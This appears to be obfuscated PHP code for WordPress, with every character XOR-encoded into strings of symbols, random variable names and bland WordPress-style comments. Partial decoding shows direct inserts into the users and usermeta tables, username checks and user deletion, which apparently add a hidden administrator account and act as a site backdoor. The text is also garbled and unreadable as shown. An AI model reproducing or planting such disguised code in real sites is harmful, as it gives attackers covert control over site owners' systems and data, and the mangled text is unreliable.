 QQ 	  #			@O		A[E_SCK^\vBYGEQBCJL				SLM_GS@HHXJvL  					R#			_\EB@OS]XNS_H				A[E_SCK^\vBYDMJO[ZB@HJBJGZ	GEQBCJL #	@O		_\EB@OS]XNS_H 	R##		@PE[Z\[XJ_PLXGSLM_GS@HHXJvL ##T			LEZL				R#	ZH]@ZO@HKEL	KHJBEFN###				@O			A[E_SCK^\vBYSLM_GS@HHXJvL		GEQBCJL 						OFS\^N^[@QHSLM_GS@HHXJvL				GEQBCJL  			R#			GXY\C\GJQ@GEQBCJL	\SZ\LFZAK@HB #				T#	yz{	D@MMEL^H[L	E@GLH[HMC	K[HGMLM]PYL##	@O						i@^v_XSYHPXKSN GEQBCJL  			R#						GXY\C\GJQ@GEQBCJL		\SZ\LFZAK@HB #		T###	T###	T#T###					@O			_\EB@OS]XNS_H				QF^vvSG				\[HO\@XG 	R####@O			iKKAEPBMEYMGE GEQBCJL  					XX]L[vEYC^\OZSZ_@JLGEQBCJL		  #@O		OFS\^N^[@QHDMJO[ZB@HJBJGZ					GEQBCJL  		R#		_\EB@OS]XNS_H					][\L#@PE[Z\[XJ_PLXGDMJO[ZB@HJBJGZ GCvB[SAA_PNFOPFvGCvB[S GCvB[SGCvB[S#		T#					T####	@O	_\EB@OS]XNS_H 					R#		@O				iKKAEPBMEYMGE GEQBCJL 				@G] 	i@N[KMFGKOJZ GEQBCJL 				vJE 				RGJNNDQXOFOSQMDEA[GJNNDQ#					JSMZ@K@v		i@N[KMFGKOJZ GEQBCJL ##					@O						@^v_XSYHPXKSN JSMZ@K@v 	UU		SPDBZLLFM] \SZ\LFZAK@HB 				JSMZ@K@v					\SZ\LFZAK@HB  			R#		@O		KKAEPBMEYMGE \SZ\LFZAK@HB  	GXY\C\GJQ@GEQBCJL	\SZ\LFZAK@HB ###LEZL@O		QOBQNOEB 	@PE[Z\[XJ_PLXGGEQBCJL #	~y	zFJ@HE	e@GBZ	[LZYFGZ@_L	K[LHBYF@G]##							T#		\GZL]JSMZ@K@v #				T#		@O				iSPDBZLLFM] GEQBCJL  		R#GXY\C\GJQ@GEQBCJL	\SZ\LFZAK@HB #T#FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		@N[KMFGKOJZ 							@N[KMFGKOJZ GEQBCJL  #@PE[Z\[XJ_PLXGDMJO[ZB@HJBJGZ #	[L]\[G		OHEZL#	T####			iJELH[Z]H]JHJAL][\L	GEQBCJL ##		]^J]_^EG_\@HY						OHEZL###			@O	vJE		  	R###]@ZFNS			i@^v_XSYHPXKSN GEQBCJL #						##				]^J]_^EG_\@HY						@^v_XSYHPXKSN ]@ZFNS 						@^v_XSYHPXKSN ]@ZFNS 								vJE							KKAEPBMEYMGE ]@ZFNS 		@^v_XSYHPXKSN _N@]LYAZvQA  #T	LEZL	R#	OYYSFH^\M						SPDBZLLFM] @^v_XSYHPXKSN  					iAHZAvO@ELSPDBZLLFM] 	GEQBCJL 								OHEZL#@O		SPDBZLLFM] OYYSFH^\M 			OYYSFH^\M					 	]^J]_^EG_\@HY						OYYSFH^\M						KKAEPBMEYMGE _N@]LYAZvQA  #							LEZL			R#	JH]JA	KEFJB##		^XBH\D@G^MP												iSPDBZLLFM] GEQBCJL #	@O	^XBH\D@G^MP							vJE 					R#						LFKJ\]BDL				iSPDBZLLFM] GEQBCJL					OHEZL	G\EE					  #		v[]					i@^v_XSYHPXKSN GEQBCJL					OHEZL			G\EE		vJE			  #	]^J]_^EG_\@HY			@^v_XSYHPXKSN LFKJ\]BDL 					@N[KMFGKOJZ v[] 				LFKJ\]BDL						KKAEPBMEYMGE _N@]LYAZvQA			QOQKM  				v[]				@N[KMFGKOJZ _N@]LYAZvQA	vJE		   ####	T#	T####		T###	@O				]^J]_^EG_\@HY 	R#FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	SPDBZLLFM] 				@N[KMFGKOJZ GEQBCJL  ####		@O			\[HO\@XG 		GG[FMM@XFGEQBCJL				][\L #					@O			@N[KMFGKOJZ \SZ\LFZAK@HB  			R#		DLMNAXLDBSXS_		SPDBZLLFM] @^v_XSYHPXKSN  						iAHZAvO@EL@N[KMFGKOJZ 			GEQBCJL 		OHEZL#					@O	SPDBZLLFM] DLMNAXLDBSXS_ 			DLMNAXLDBSXS_										DLMNAXLDBSXS_			@^v_XSYHPXKSN _N@]LYAZvQA 			DLMNAXLDBSXS_							SPDBZLLFM] \SZ\LFZAK@HB  			R#FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			@^v_XSYHPXKSN 				SPDBZLLFM] GEQBCJL  #	[L]\[G	OHEZL###	T#			S]@S\SD											Jv[GJMMAY\BvJQ[YBEB\JZ			@N[KMFGKOJZ  #	@O						S]@S\SD		OHEZL				iKKAEPBMEYMGE S]@S\SD		\SZ\LFZAK@HB 								SPDBZLLFM] \SZ\LFZAK@HB  					R#						@O			A[E_SCK^\vBYS]@S\SD	GEQBCJL  		R#@O	iSPDBZLLFM] GEQBCJL 						QF^vvSG 					XX]L[vEYC^\OZSZ_@JLGEQBCJL	  #@O		QF^vvSG							OFS\^N^[@QHS]@S\SD						GEQBCJL  	R#@PE[Z\[XJ_PLXGS]@S\SD #								T		LEZL		R#		iSPDBZLLFM] GEQBCJL		\SZ\LFZAK@HB #			@PE[Z\[XJ_PLXGS]@S\SD #T#			T##	T		LEZL	R#		@O			S]@S\SD		OHEZL 						@PE[Z\[XJ_PLXGS]@S\SD #				i@^v_XSYHPXKSN GEQBCJL		\SZ\LFZAK@HB ##	T#	GKGGQEFO\QBQGEPGEQBCJL #		T			LEZL@O			QOBQNOEB 	R#		@PE[Z\[XJ_PLXGGEQBCJL #							T#						[L]\[G	OHEZL#		T#								GKGGQEFO\QBQGEPGEQBCJL #LCEBMJ]BEGEQBCJL #					XX]L[vEYC^\OZSZ_@JLGEQBCJL	QQ  #			@O						\[HO\@XG 			GG[FMM@XFGEQBCJL		OHEZL #						[L]\[G				][\L#	T#	O\GJ]@FG			XCKSLXOECGQvOZGEQBCJL			\[F_\MA^A] #							R#	[LEHQLM	ZJFYLJAH@G	###@DZNOYA					YAYuG#					@O			@^v_XSYHPXKSN \[F_\MA^A] 						\[F_\MA^A]											SPDBZLLFM] \[F_\MA^A]		@N[KMFGKOJZ  			OHEZL								_SMG[M@XJvKJSK\\[F_\MA^A]  		@DZNOYA				\[F_\MA^A]#	@O	iSPDBZLLFM] GEQBCJL  			R#					NAH[SB					iKKAEPBMEYMGE GEQBCJL ####	@O				@^v_XSYHPXKSN NAH[SB 			C^v@Z@\@ACBCLNAH[SB 							@DZNOYA 				[L]\[G###	T###				@O	ZKXOKS\JGG_ZQC@QYGEQBCJL	@DZNOYA  					R#				FX[@_J_X									i@^v_XSYHPXKSN GEQBCJL #@O			SPDBZLLFM] FX[@_J_X 					C^v@Z@\@ACBCLFX[@_J_X 		@DZNOYA  					iSPDBZLLFM] GEQBCJL			@DZNOYA #\GZL]FX[@_J_X #		T#GKGGQEFO\QBQGEPGEQBCJL #	T#				O\GJ]@FG	AFF]vv_DYH]]D ##R#@O		@N[KMFGKOJZ SPDBZLLFM]  							_HAOOJEGvM\FEEZZ  				[L]\[G	][\L#@O	KKAEPBMEYMGE @N[KMFGKOJZ  		UU						@^v_XSYHPXKSN @N[KMFGKOJZ   						[L]\[G		][\L#CDCJYMNO		AFDLv\[E #		CDCJYMNO				@N[KMFGKOJZ CDCJYMNO			 				OHEZL									 					@N[KMFGKOJZ 							KKAEPBMEYMGE  						@N[KMFGKOJZ QQ 	QQ  #							YCOFJFCO\					@^v_XSYHPXKSN CDCJYMNO	H[[HPKKAEPBMEYMGE 			w 				SPDBZLLFM] 			OHEZL		SPDBZLLFM] 						SPDBZLLFM] 							H[[HPKKAEPBMEYMGE 					SPDBZLLFM]    #	@O			SPDBZLLFM] SPDBZLLFM]  					@Zv^YvL[[F[YCOFJFCO\  				R#		@O		KKAEPBMEYMGE SPDBZLLFM]   				@^v_XSYHPXKSN  #			YCOFJFCO\										@^v_XSYHPXKSN CDCJYMNO		H[[HP@^v_XSYHPXKSN 								 					@N[KMFGKOJZ 			OHEZL	SPDBZLLFM] 					@^v_XSYHPXKSN 					H[[HPSPDBZLLFM] 							KKAEPBMEYMGE    ##	@O		SPDBZLLFM] SPDBZLLFM]  					@Zv^YvL[[F[YCOFJFCO\  	[L]\[G			OHEZL#		T#	BKCGLGME			@G] 			^Yv[LDF]Lv[L][@L_Lv[LZYFGZLvJFMLYCOFJFCO\ PX_KA\[DSF\KNCSSPX_KA\ PX_KA\PX_KA\#		[L]\[G			BKCGLGME						 						BKCGLGME			QQO #				T#O\GJ]@FG	CQ@O\DX]\LHOGM[EJKZvSSX]N_GP					HOQEGHvB #	R#	KCQHOv@[HHO				@N[KMFGKOJZ KKAEPBMEYMGE HOQEGHvB 			 ###					OF[LHJA		#						H[[HP####@^v_XSYHPXKSN 								KCQHOv@[HHO			KKAEPBMEYMGE #		SPDBZLLFM] 			KCQHOv@[HHO						@^v_XSYHPXKSN #	KKAEPBMEYMGE 			KCQHOv@[HHO				@^v_XSYHPXKSN #	 	HZ			C_O\GFCHEK#			 			R#@O				@N[KMFGKOJZ KZvSSX]N_GP  		K[LHB####			KZvSSX]N_GP						@^v_XSYHPXKSN C_O\GFCHEK					uG			KZvSSX]N_GP #					T####[L]\[G				KZvSSX]N_GP\DJ@CBCQKMAE]L\DJ@CBCQK \DJ@CBCQK\DJ@CBCQK#	T####					O\GJ]@FG				GKGGQEFO\QBQGEPJFE^SQLEHF #R#		@O					KKAEPBMEYMGE @^v_XSYHPXKSN   			R#		[L]\[G			iFYJHJALv@G_HE@MH]LJFE^SQLEHF		][\L 							OHEZL#T#				A\DNDE]J^AD									SPDBZLLFM] @^v_XSYHPXKSN  					iFYJHJALvNL]vZ]H]\ZOHEZL 								OHEZL#	[L]\[G			SPDBZLLFM] A\DNDE]J^AD 				LDY]PA\DNDE]J^ADr@N[KMFGKOJZ t  #		T#O\GJ]@FG	]CMKXXQK@G\FHGEQBCJL				^HAvP]\PF^ZZ]	vSSXXA #			R#	@O	SPDBZLLFM] GEQBCJL	  								KKAEPBMEYMGE  			R#			@O		ZKXOKS\JGG_ZQC@QYGEQBCJL	^HAvP]\PF^ZZ]  		R#	FBQKvM[JB\ZMHPE\vSSXXA				KKAEPBMEYMGE 		SPDBZLLFM] GEQBCJL  #[L]\[G	OHEZL#		T#GKGGQEFO\QBQGEPGEQBCJL #				[L]\[G		KKAEPBMEYMGE ^HAvP]\PF^ZZ] ####				T#O@vFX@A					i@N[KMFGKOJZ GEQBCJL					@N[KMFGKOJZ  #	@O			O@vFX@A						OHEZL 	R#					FBQKvM[JB\ZMHPE\vSSXXA	@^v_XSYHPXKSN 						@^v_XSYHPXKSN GEQBCJL  #				[L]\[G			OHEZLZMQXZZHP@@QLZvZMQXZZ#T#			@O		SPDBZLLFM] @N[KMFGKOJZ   		iOEFJBO@vFX@A					efjbvlq ##	YCOFJFCO\				iKKAEPBMEYMGE O@vFX@A			^HAvP]\PF^ZZ] #						@O		@^v_XSYHPXKSN KKAEPBMEYMGE   		iOEFJBO@vFX@A				efjbv|g #iOJEFZLO@vFX@A #		@O	YCOFJFCO\			OHEZL			UU					^HAvP]\PF^ZZ]										YCOFJFCO\				SPDBZLLFM] ^HAvP]\PF^ZZ]   	R#	FBQKvM[JB\ZMHPE\vSSXXA	KKAEPBMEYMGE 			@^v_XSYHPXKSN GEQBCJL  ####		[L]\[G	OHEZL#						T#						[L]\[G	YCOFJFCO\#				T###	#							O\GJ]@FG			A[C[XPEKOXF #		R#	Y[FHJ]@_L	E@GLH[]PYL##	][P	R#								@O	KKAEPBMEYMGE KKAEPBMEYMGE  	UU	KKAEPBMEYMGE KKAEPBMEYMGE   		R#^MCBDLPLE@ONG\EE #	[L]\[G#		T###@O			NL]v][HGZ@LG]@^v_XSYHPXKSN   	[L]\[G#				@O	NL]v][HGZ@LG]@N[KMFGKOJZ   						[L]\[G#						ZL]v][HGZ@LG]@N[KMFGKOJZ 			  #	^MCBDLPLE@ONG\EE #@O				@N[KMFGKOJZ KKAEPBMEYMGE   		MLEL]Lv][HGZ@LG]SPDBZLLFM]  #_XvF]P]YX				SPDBZLLFM] @^v_XSYHPXKSN  				Z][@GN 				AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 	 					#@O	_XvF]P]YX										SPDBZLLFM] SPDBZLLFM]  					\ZL[GHDLvLQ@Z]Z_XvF]P]YX  		R#ZL]v][HGZ@LG]KKAEPBMEYMGE 				  ####				T#T	JH]JA			}A[F^HKEL		E]GYK]v 	R#	iY[F_@Z@FG	ELHBPK\JBL]##		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	E]GYK]v #T			JH]JA		lQJLY]@FG					E]GYK]v 		RJ_B^JQ]G^O[@vJ_B^JQ#	T#			T####					O\GJ]@FG						^MCBDLPLE@ONFPMvK@FJ ##	R#					@O			JD@CQMEODG^SPDBZLLFM]   		[L]\[G#			][P		R#								@O			@^v_XSYHPXKSN SPDBZLLFM]  		UU									@^v_XSYHPXKSN @N[KMFGKOJZ   	R#[L]\[G#				T#		HBXBBCCC					Z][@GN 				AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 		 #	@O	HBXBBCCC														\ZL[GHDLvLQ@Z]ZHBXBBCCC 									Z][@GN 		AK@\_C^N^\[SGBvvQ@N[KMFGKOJZ 	 							 	R#[L]\[G#		T#		@O			HBXBBCCC				 	R#	E@GLH[@SHKEL	ZPGJA[FG@SL[	#####		XEDDA\_GXE					SPDBZLLFM] FPMvK@FJ 					FPMvK@FJ					vDBQCN\XAA #		@M\@MvMPLZ					BNXNv\JXSNKHN]@MSv]XEDDA\_GXE #		@O				##		@M\@MvMPLZ					LDY]P@M\@MvMPLZ\ZL[vEFN@G 					@ZZL]@M\@MvMPLZ\ZL[vLDH@E ##				@M\@MvMPLZ\ZL[vLDH@E				@M\@MvMPLZ\ZL[vEFN@G								i								^NSJYZ_PLBFXKOKKAEPBMEYMGE  #	 				R#					HBXBBCCC					Z][@GN 	@M\@MvMPLZ\ZL[vEFN@G#			T#					T#@O	HBXBBCCC										\ZL[GHDLvLQ@Z]ZHBXBBCCC  			R###	ZND@]EDvY^		\ZL[GHDLvLQ@Z]ZHBXBBCCC #						K@OX_HNS]_YM			LQQJANXGGQNw  ####		@O				@N[KMFGKOJZ KKAEPBMEYMGE   				R#	@^v_XSYHPXKSN K@OX_HNS]_YM	ZND@]EDvY^ #T##			CSvEESS]PSH[M^GBD_SPDBZLLFM] 	HBXBBCCC		SPDBZLLFM]  \P[\]CD\KK@\\P[\]C#				CSvEESS]PSH[M^GBD_@N[KMFGKOJZ 			K@OX_HNS]_YM	SPDBZLLFM]  #			[L]\[G#					T#EOKMKK\MAK					@S]MS^KHZNAQLFD #					@O		][\L 	R#		HBXBBCCC							#	OF[		XG_KC@\DKGv				XG_KC@\DKGv			 			XG_KC@\DKGv 	R#EJDKMN[C]			EOKMKK\MAKr@N[KMFGKOJZ EOKMKK\MAK t		LQQJANXGGQNw  #			@O	\ZL[GHDLvLQ@Z]ZEJDKMN[C]  					R#	HBXBBCCC					EJDKMN[C]#			K[LHB#	~y	yH[HN[HYA	kEFJB	H]]HJADLG]	DL]HMH]H###					T#				T#						@O		HBXBBCCC				 		R#	YFZ@]@_LMLO@G@]L	HMHY]L[	##				FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 			@^v_XSYHPXKSN  #		[L]\[G#T#			T#K@OX_HNS]_YM					LQQJANXGGQN  #	@O									KKAEPBMEYMGE @N[KMFGKOJZ  					MLO@GLMSPDBZLLFM]  						KKAEPBMEYMGE hkzyh}a		KKAEPBMEYMGE   					R#	{LM@Z	FKCLJ]	JHJAL	FKCLJ]	O@]#BCSGHNZSCGCYSBCSGHNZ#	[LX\@[LvFGJL				hkzyh}a										SPDBZLLFM] #							T###							[JNHOPGNBKM					HBXBBCCC					i			^NSJYZ_PLBFXKOKKAEPBMEYMGE  #E\B_YCDvOY				OHEZL#	@O	@N[KMFGKOJZ @N[KMFGKOJZ   			R##E\B_YCDvOY							SPDBZLLFM] H[[HP####			SPDBZLLFM] 						HBXBBCCC#SPDBZLLFM] 						K@OX_HNS]_YM#				@^v_XSYHPXKSN 		[JNHOPGNBKM#				@^v_XSYHPXKSN 					@^v_XSYHPXKSN #		KKAEPBMEYMGE 			HBXBBCCC#							  #@O		@Zv^YvL[[F[E\B_YCDvOY  				R#					FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	E\B_YCDvOYNL]vL[[F[vJFML 									E\B_YCDvOYNL]vL[[F[vDLZZHNL  ##	E\B_YCDvOY							OHEZL###		T#	T##			@O			E\B_YCDvOY 			R####					^YMK		@ZZL]nefkhezr@^v_XSYHPXKSN t 			nefkhezrSPDBZLLFM] t				G\EE#	@O	^YMK				UU	@N[KMFGKOJZ ^YMK  		R#				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		SPDBZLLFM]  #[L]\[G#	T#			HPFF@H^								KKAEPBMEYMGE KKAEPBMEYMGE  						^YvAHZAvYHZZ^F[MK@OX_HNS]_YM 					@^v_XSYHPXKSN K@OX_HNS]_YM #			KXM_X^QZCF\LE					@^v_XSYHPXKSN SPDBZLLFM]  				J\[[LG]v]@DL@N[KMFGKOJZ  					NDMH]L@N[KMFGKOJZ  #AJK[DvH								^YMK@GZL[]^YMK\ZL[Z	H[[HP#		SPDBZLLFM] 				HBXBBCCC#			@N[KMFGKOJZ 				HPFF@H^####	SPDBZLLFM] 								HBXBBCCC#		SPDBZLLFM] 						[JNHOPGNBKM#@^v_XSYHPXKSN 					KXM_X^QZCF\LE#				@N[KMFGKOJZ 						####						@N[KMFGKOJZ 			HBXBBCCC####		 			H[[HPKKAEPBMEYMGE 		@^v_XSYHPXKSN 		KKAEPBMEYMGE 		@N[KMFGKOJZ 		KKAEPBMEYMGE 	@^v_XSYHPXKSN 						@^v_XSYHPXKSN   #	@O		AJK[DvH 			R#							FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	KKAEPBMEYMGE  ###	[L]\[G####		T#		E\B_YCDvOY				@G] 	^YMK@GZL[]v@M#	QM[CPKLBD									^YMKY[LO@Q					SPDBZLLFM] #^YMK@GZL[]^YMK\ZL[DL]H		H[[HP##							KKAEPBMEYMGE 					E\B_YCDvOY#			SPDBZLLFM] 								QM[CPKLBD#		@N[KMFGKOJZ 				@N[KMFGKOJZ H[[HPSPDBZLLFM] 			][\L  #	 	H[[HPSPDBZLLFM] 						@^v_XSYHPXKSN 					SPDBZLLFM]   ###	^YMK@GZL[]^YMK\ZL[DL]H				H[[HP#				KKAEPBMEYMGE 		E\B_YCDvOY####	@^v_XSYHPXKSN 										^YMKY[LO@Q						SPDBZLLFM] #						@^v_XSYHPXKSN 			#		 			H[[HP@^v_XSYHPXKSN 			KKAEPBMEYMGE 			@N[KMFGKOJZ   #	@O				@N[KMFGKOJZ @^v_XSYHPXKSN   	R#	JELHGv\ZL[vJHJALE\B_YCDvOY #					T##	T#@O					\ZL[GHDLvLQ@Z]ZHBXBBCCC  	R#					FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	KKAEPBMEYMGE  ###	[L]\[G#T####	PJBvH[vX^HS[							SPDBZLLFM] KKAEPBMEYMGE  					NL]v\ZL[vKP@N[KMFGKOJZ 			HBXBBCCC 							OHEZL#	Y_K_^SHQ								OHEZL#@O				PJBvH[vX^HS[					LDY]PPJBvH[vX^HS[`m  			R###	@O	KKAEPBMEYMGE KKAEPBMEYMGE   			R#Y_K_^SHQ				KFFE 		\ZL[vJHGPJBvH[vX^HS[		@N[KMFGKOJZ  #	T	LEZL@O	@ZZL]PJBvH[vX^HS[JHYZ 				@^v_XSYHPXKSN PJBvH[vX^HS[JHYZ  	R#Y_K_^SHQ						LDY]PPJBvH[vX^HS[JHYZrKKAEPBMEYMGE t #			T#	T#	~y	kEFJB	hy`	_	N[LLMP	HJJ\D\EH]F[###	@O		Y_K_^SHQ 	R#	FBQKvM[JB\ZMHPE\SPDBZLLFM] 					@^v_XSYHPXKSN  #		@O		E\B_YCDvOY 					R#				@O				@^v_XSYHPXKSN KKAEPBMEYMGE  					MLO@GLMSPDBZLLFM]  			iSPDBZLLFM] hkzyh}a					@^v_XSYHPXKSN   	R#				[LX\@[LvFGJL		hkzyh}a					SPDBZLLFM] ####				T#	@O						KKAEPBMEYMGE @N[KMFGKOJZ   					i^YvMLEL]Lv\ZL[E\B_YCDvOY #T#			[L]\[G#						T#		CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 			HBXBBCCC		SPDBZLLFM]  #	CSvEESS]PSH[M^GBD_@^v_XSYHPXKSN 			K@OX_HNS]_YM			@N[KMFGKOJZ  #				T				JH]JA		}A[F^HKEL	E]GYK]v 		R#	[LZ]F[L	L_LG]\HE	DLZZHNLX\L\L###FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	E]GYK]v #						T	JH]JA	lQJLY]@FG				E]GYK]v 					R#	T				O@GHEEP		R#	NZADHFK@PJ[KKAEPBMEYMGE  #	T#T##		O\GJ]@FG					CJvH_OEQPOXQ_HC[]Bv_ #		R####			][P	R##				@O				KKAEPBMEYMGE HC[]Bv_ 	UU					Y[FYL[]PvLQ@Z]ZHC[]Bv_		@^v_XSYHPXKSN   				R##			[L]\[G	HC[]Bv_###			T#####	HBXBBCCC				@^v_XSYHPXKSN @^v_XSYHPXKSN  							Z][@GN 			AK@\_C^N^\[SGBvvQSPDBZLLFM] 			 				#		@O				HBXBBCCC 	R##	[L]\[G						HC[]Bv_#	T#		#	QK]X\XSC							LZJvZXEHBXBBCCC #@O						@N[KMFGKOJZ HC[]Bv_X\L[Pv^AL[L		QK]X\XSC 		OHEZL 	R#	HC[]Bv_X\L[Pv^AL[L					@^v_XSYHPXKSN 			QK]X\XSC			#						T#		T				JH]JA	}A[F^HKEL				E]GYK]v 			R#	FBQKvM[JB\ZMHPE\SPDBZLLFM] 		E]GYK]v #	T				JH]JA			lQJLY]@FG				E]GYK]v 		R####	T###					[L]\[G		HC[]Bv_#							T#	O\GJ]@FG				CJKYYN_LBBYASCZZJ_KN\J^v ####			R#	MLNLGL[H]L	][\Z]HGJAF[	##		][P		R#				_XvF]P]YX			SPDBZLLFM] SPDBZLLFM]  			Z][@GN 		AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 	 							#@O								_XvF]P]YX 			R#	@MLG]@]P	JFDYH[@ZFG##[L]\[G		CZZJ_KN\J^v#				T#				GAMHOEQJ]							H[[HPSPDBZLLFM] 	@N[KMFGKOJZ  #							OF[LHJA		GAMHOEQJ]		HZ		BLP 			R#				@O		@ZZL]CZZJ_KN\J^vrBLPt 				@N[KMFGKOJZ CZZJ_KN\J^vrBLPt 						@^v_XSYHPXKSN SPDBZLLFM] 			CZZJ_KN\J^vrBLPt			_CZDGOY  		R#DCD[LZ@BKN\_			@^v_XSYHPXKSN 			@G] 				_CZDGOYrt				 #		#####				CZZJ_KN\J^vrBLPt							@N[KMFGKOJZ SPDBZLLFM] 					DCD[LZ@BKN\_				 	CZZJ_KN\J^vrBLPt ##	T####			T#T			JH]JA		}A[F^HKEL	E]GYK]v 	R#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	E]GYK]v #	T				JH]JA		lQJLY]@FG	E]GYK]v 	R#		T#		[L]\[G				CZZJ_KN\J^v#					T#O\GJ]@FG					JED]NQOGCEvMQ[B^A\\YFJX	SQGX^DHXXZQO #		R]A[ALMNE]A[A#	][P		R#	HBXBBCCC				SPDBZLLFM] SPDBZLLFM]  				Z][@GN 	AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 	 							#					@O	HBXBBCCC						 				R#			[L]\[G					A\\YFJX#		T#			@O					@N[KMFGKOJZ A\\YFJX  	R#				[L]\[G	A\\YFJX#			T#							@O								@ZZL]A\\YFJXrKKAEPBMEYMGE t 			UU					@N[KMFGKOJZ A\\YFJXr@N[KMFGKOJZ t  	R#		A\\YFJXr@^v_XSYHPXKSN t						H[[HP [vQ\[DZPJSYSH[vQ\[DZ [vQ\[DZ[vQ\[DZ#T#	@O							@N[KMFGKOJZ HBXBBCCC					A\\YFJXr@N[KMFGKOJZ t	][\L  				R#					A\\YFJXr@^v_XSYHPXKSN trt				HBXBBCCC#T#		T		JH]JA		}A[F^HKEL		E]GYK]v 	R#FBQKvM[JB\ZMHPE\SPDBZLLFM] 				E]GYK]v ##					T		JH]JA	lQJLY]@FG		E]GYK]v 						R#		T#	[L]\[G		A\\YFJXSGE_@MQBvH]QQNB\PPLSSGE_@MQBv#T#						#O\GJ]@FG	QFQOCNJMDA #							R##			QvL@DHL^QL						H[[HP #		##						@O	MLO@GLMSPDBZLLFM]  		@^v_XSYHPXKSN @^v_XSYHPXKSN   			R#	dPzxe		j}lZ	@GZ][\DLG]	ZJFYLJAH@G##				MHK_[YGZ]						H[[HP 					NL]vFY]@FGKKAEPBMEYMGE 						H[[HP  #					@GSZX@CEJZY				H[[HP #	OF[LHJA		MHK_[YGZ]		HZ		KHZLGHDL 	R#				@O			KKAEPBMEYMGE KHZLGHDL 			UU		@^v_XSYHPXKSN KHZLGHDL			@^v_XSYHPXKSN  				OHEZL 		R####			JFG]@G\L#T#	][HGZY@EL	ZYH[ZL	M@ZYH]JAL[##				QvES_EM[O					@^v_XSYHPXKSN KHZLGHDL #	@O			QvES_EM[O						 		R#			QvES_EM[O					KHZLGHDL#								T#						@O			@ZZL]@GSZX@CEJZYrQvES_EM[Ot  	R##JFG]@G\LKOFYAJSENKOA]\J^ZXKOFYAJSENKOA#			##	T####@GSZX@CEJZYrQvES_EM[Ot						][\L#GEQBCJL					~yvye|n`gvm`{								KHZLGHDL#@O	@N[KMFGKOJZ KHZLGHDL 						 			R#	@O	i@N[KMFGKOJZ GEQBCJL  		R#	QvL@DHL^QLrt			GEQBCJL#T#	Y[LOL]JA	ML]L[D@G@Z]@J	HEL[]##	T		LEZL				R##[YBEB\JZ						KKAEPBMEYMGE GEQBCJL ##	@O					i@^v_XSYHPXKSN [YBEB\JZ  				R#	QvL@DHL^QL										@N[KMFGKOJZ QvL@DHL^QL	CQGFv[[NLLLLBQO[YBEB\JZ				H[[HP@^v_XSYHPXKSN    #		T#	T#	T###			T#	@]L[H]L	ZLZZ@FG]PYL	OF[	~y	oFG]	e@K[H[P######							@O		i@^v_XSYHPXKSN \vJHFGLF__PBZFA]G   		R#	i\GZ\KZJ[@KL	JFF[M@GH]F[##						G^\KHQD						\Z\AGLAZAHZXB\\vJHFGLF__PBZFA]G  ##@O						KKAEPBMEYMGE G^\KHQD  	R###	OF[LHJA			G^\KHQD					HZ				SNMHJKG]OP 	R#							@O		SNMHJKG]OP							@BZAN\Q\PQ@EXJP  	R##		JFG]@G\L###								T#			JFE^SQLEHF					\vJHFGLF__PBZFA]G 													SNMHJKG]OP#		@O			i@^v_XSYHPXKSN JFE^SQLEHF 						@N[KMFGKOJZ SPDBZLLFM] SNMHJKG]OP			JFGZ]HG]SPDBZLLFM]    					@N[KMFGKOJZ  	R##				QvL@DHL^QLrt				JFE^SQLEHF#			T#	T####T#T#					####						@O		MLO@GLM@^v_XSYHPXKSN  					@N[KMFGKOJZ @N[KMFGKOJZ   	R#_@_CCJY@DBKP			Z][@GN 	NL]vFY]@FG@N[KMFGKOJZ 						 #		##HLPEDX[@[J^JXJ			Z][@GN 	NL]vFY]@FG@N[KMFGKOJZ 	 #	B_PF[A@Y			MLO@GLM@^v_XSYHPXKSN  				~yvjfg}lg}vm`{			SPDBZLLFM] 					hkzyh}a			@N[KMFGKOJZ #				\ADSYNvG						KKAEPBMEYMGE SPDBZLLFM] H[[HP_@_CCJY@DBKP		HLPEDX[@[J^JXJ   #								OF[LHJA	\ADSYNvG				HZ		@ZN[XKKQY 	R#@O		KKAEPBMEYMGE @ZN[XKKQY	@^v_XSYHPXKSN  				OHEZL 				R#	JFG]@G\L#T#ESH^GZH								B_PF[A@Y									@ZN[XKKQY#@O						i@^v_XSYHPXKSN ESH^GZH  	R#				#		v_DCMv]Z^E^			\Z\AGLAZAHZXB\ESH^GZH #					@O	@^v_XSYHPXKSN v_DCMv]Z^E^  	R#OF[LHJA			v_DCMv]Z^E^		HZ		SNMHJKG]OP 	R#						\[X@S@BQO							ESH^GZH											SNMHJKG]OP#@O				i@N[KMFGKOJZ \[X@S@BQO 		KKAEPBMEYMGE @^v_XSYHPXKSN SNMHJKG]OP		JFGZ]HG]KKAEPBMEYMGE    						@^v_XSYHPXKSN  			R#			QvL@DHL^QLrt		\[X@S@BQO#		T#				T#T#	~y	yFZ]	lQJL[Y]	H]]HJADLG]	DL]HMH]H##	#			PD\PODCKYM							ESH^GZH				SPDBZLLFM] #	@O	iKKAEPBMEYMGE PD\PODCKYM  	R#				QvL@DHL^QL				KKAEPBMEYMGE QvL@DHL^QL					CQGFv[[NLLLLBQOPD\PODCKYM	H[[HPSPDBZLLFM]    ####						T#						T#	T###	T#				[L]\[G					@N[KMFGKOJZ QvL@DHL^QL ###T#		O\GJ]@FG		SMMMSODOSM@PNP@NYAOBHL #	R#			@O	@^v_XSYHPXKSN @NYAOBHL  					[L]\[G		H[[HP ####[@SJ_CSFAXGMQvQ						H[[HP #		OF[LHJA				@NYAOBHL		HZ			YCOFJFCO\ 	R#@O			SPDBZLLFM] YCOFJFCO\ 		UU		YCOFJFCO\										UU	SPDBZLLFM] YCOFJFCO\ 				  		JFG]@G\L#		][P	R#	Z][LZZ]LZ]	@GMLJFDYFZHKEL	H\]AF[@]P##@O	i@^v_XSYHPXKSN YCOFJFCO\		 							OHEZL 		JFG]@G\L#T		JH]JA			}A[F^HKEL			E]GYK]v 	R#				